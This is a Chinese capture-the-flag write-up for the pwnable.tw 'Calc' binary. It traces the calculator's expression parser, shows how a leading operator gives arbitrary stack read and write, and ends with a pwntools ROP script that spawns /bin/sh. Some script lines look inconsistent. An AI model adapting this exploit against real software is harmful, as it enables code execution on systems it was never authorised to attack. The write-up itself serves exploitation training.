zoukankan      html  css  js  c++  java
  • pwnable.tw Calc

    calc

    首先先检查保护

    可以看到正如程序名字一样是一个计算器的程序。

    IDA静态分析代码
    main函数主要调用了calc函数

    而calc中parse_expr这个函数比较重要

    我们用过1+2*3-4为例子,计算的过程大约是如下:
    其中I为for循环的i,V为数字的开始

    1 + 2 * 3 - 4
    I
    V
    
    数字暂存区的长度: 0
    数字暂存区:
    符号暂存区的索引: 0
    符号暂存区:
    
    1 + 2 * 3 - 4
      I
    V
    当前的处理的数字: 1
    
    数字暂存区的长度: 1
    数字暂存区: 1
    符号暂存区的索引: 0
    符号暂存区:
    ----------------------------------------
    1 + 2 * 3 - 4
      I
        V
    
    数字暂存区的长度: 1
    数字暂存区: 1
    符号暂存区的索引: 0
    符号暂存区: +
    
    1 + 2 * 3 - 4
        I
        V
    
    数字暂存区的长度: 1
    数字暂存区: 1
    符号暂存区的索引: 0
    符号暂存区: +
    
    1 + 2 * 3 - 4
          I
        V
    当前的处理的数字:2
    
    数字暂存区的长度: 2
    数字暂存区: 1,2
    符号暂存区的索引: 0
    符号暂存区: +
    ----------------------------------------
    1 + 2 * 3 - 4
          I
            V
    
    数字暂存区的长度: 2
    数字暂存区: 1,2
    符号暂存区的索引: 1
    符号暂存区: +,*
    
    1 + 2 * 3 - 4
            I
            V
    
    数字暂存区的长度: 2
    数字暂存区: 1,2
    符号暂存区的索引: 1
    符号暂存区: +,*
    
    1 + 2 * 3 - 4
           	  I
            V
    当前的处理的数字:3
    
    数字暂存区的长度: 3
    数字暂存区: 1,2,3
    符号暂存区的索引: 1
    符号暂存区: +,*
    ----------------------------------------
    1 + 2 * 3 - 4
           	  I
                V
    
    数字暂存区的长度: 2
    数字暂存区: 1,6
    符号暂存区的索引: 1
    符号暂存区: +,-
    
    1 + 2 * 3 - 4 x00
           	    I
                V
    
    数字暂存区的长度: 2
    数字暂存区: 1,6
    符号暂存区的索引: 1
    符号暂存区: +,-
    
    1 + 2 * 3 - 4 x00
           	       I
                V
    当前的处理的数字:4
    
    数字暂存区的长度: 3
    数字暂存区: 1,6,4
    符号暂存区的索引: 1
    符号暂存区: +,-
    ----------------------------------------
    1 + 2 * 3 - 4 x00  x00
           	       I
                         V
    
    数字暂存区的长度: 2
    数字暂存区: 1,2
    符号暂存区的索引: 0
    符号暂存区: +
    
    1 + 2 * 3 - 4 x00 x00
           	            I
                        V
    break
    
    数字暂存区的长度: 2
    数字暂存区: 1,2
    符号暂存区的索引: 0
    符号暂存区: +
    
    数字暂存区的长度: 1
    数字暂存区: 3
    符号暂存区的索引: -1
    符号暂存区:
    

    看懂了上面的大致流程,大概就能明白程序的流程了
    eval这个函数,是函数主要的漏洞利用点。a1表示数字暂存区的长度,如果我们可以控制a1的内容就可以实现栈上任意地址的任意写入,之后程序又能打印结果,所以我们还可以实现栈上任意地址的读取。

    如果当前操作符左边的操作数不存在呢?也就是说,表达式的第一个字符就是运算符而不是操作数呢?这样的话,a1[0]的值在解析下一个操作符之前就还是0,而不是1,当第一次进入eval函数时,我们的运算场景就出现了一个不符合运算条件的情况,一个运算符和仅有的一个操作数,比如我们输入“+300”这样一个畸形的运算表达式,当函数处理到最后一个字符“0×0”,这时的运算场景如下

    +300
    I
    V
    当前处理的数字:
    
    数字暂存区的长度: 0
    数字暂存区:
    符号暂存区的索引: 0
    符号暂存区:
    --------------------------
    + 300
    I
      V
    
    数字暂存区的长度: 0
    数字暂存区:
    符号暂存区的索引: 0
    符号暂存区: +
    
    + 300
      I
      V
    
    数字暂存区的长度: 0
    数字暂存区:
    符号暂存区的索引: 0
    符号暂存区: +
    
    + 300 x00
           I
       V
    当前处理的数字:300
    
    数字暂存区的长度: 1
    数字暂存区: 300
    符号暂存区的索引: 0
    符号暂存区: +
    -----------------------------
    + 300 x00 x00
           I
                 V
    
    数字暂存区的长度: 301
    数字暂存区: 300
    符号暂存区的索引: 0
    符号暂存区: +
    ----------------------------
    + 300 x00 x00
           I
                V
    
    数字暂存区的长度: 300    (又减1是因为eval之后有--*a1)
    数字暂存区: 300
    符号暂存区的索引: -1
    符号暂存区:
    

    这里我们改变的也就是v1的值,最后printf可以泄漏栈上的地址

    同理,我们是用+301+1可以将v2[300]处的值+1,相当于我们拥有了栈上任意地址写入的权限。由于程序开启了NX保护,并且程序是静态链接的,我们使用ROP来getshell。
    http://syscalls.kernelgrok.com

    eax=0xb
    ebx=“/bin/sh”字符串的地址
    ecx=0
    edx=0
    

    我们将寄存器利用ROP填上相应的值,接可以getshell了。这里的难点有2个。

    1. 定位ret地址。ret = 0x59C / 4 + 1+1 = 361 (其中0x59C / 4是指v2离ebp的距离,+1是ret在ebp下方4个字节,因为输出的是v2[v1-1]所以我们还要多加个1)
    2. 怎么获取/bin/sh的地址?我们可以吧/bin/sh布置到ret后面,由于ret上一个就是main_ebp,我们可以通过泄漏main_ebp来定位/bin/sh的位置

    解题脚本

    from pwn import *
    context.log_level = "Debug"
    p = process('./calc')
    #p = remote('chall.pwnable.tw',10100)
    p.recvline()
    start = (0x59c+4)/4+1
    
    
    p.sendline("+"+str(start-1))
    main_ebp = int(p.recvline())
    bin_sh = main_ebp + 0x4
    p.sendline("+"+str(start+6)+str(bin_sh))
    p.recvline()
    
    
    
    '''
    0x0805c34b : pop eax ; ret
    0x080701d1 : pop ecx ; pop ebx ; ret
    0x080701aa : pop edx ; return
    0x08049a21 : int 0x80
    
    
    xxxx       <- v1    (ebp-0x5a0)
    xxxx       <- v2    (ebp-0x59c)
    ....
    xxxx
    xxxx       <- canary (ebp-0xc)
    xxxx
    xxxx
    main_ebp   <- ebp
    ret
    '''
            #  pop_eax_ret   pop_edx_ret  pop_ecx_ebx_ret         int 0x80    /bin       /shx00
    payload = [0x0805c34b,0xb,0x080701aa,0,0x080701d1,0,bin_sh,  0x08049a21,0x6e69622f,0x0068732f]
    
    
    for i in range(len(payload)):
        p.sendline("+"+str(start+i))
        num = int(p.recvline())
    
        diff = payload[i] - num
        if diff > 0 :
            p.sendline("+"+str(start+i)+"+"+str(diff))
        else:
            p.sendline("+"+str(start+i)+str(diff))
        p.recvline()
    
    
    #gdb.attach(p)
    
    p.sendline()
    p.interactive()
    
  • 相关阅读:
    H5C3--transform实现任何元素居中对齐
    H5C3--过渡transition
    H5C3--background中cover,背景样式,提升响应区域+精灵图的使用
    SpringBoot之spring.factories
    浅谈常用数据结构
    浅谈常用排序
    JAVA性能优化总结
    ORACLE10G非归档模式下RMAN异机迁库
    ORACLE10G非归档模式下异机迁库(文件迁移)
    HNOI 米特运输
  • 原文地址:https://www.cnblogs.com/Rookle/p/12884536.html
Copyright © 2011-2022 走看看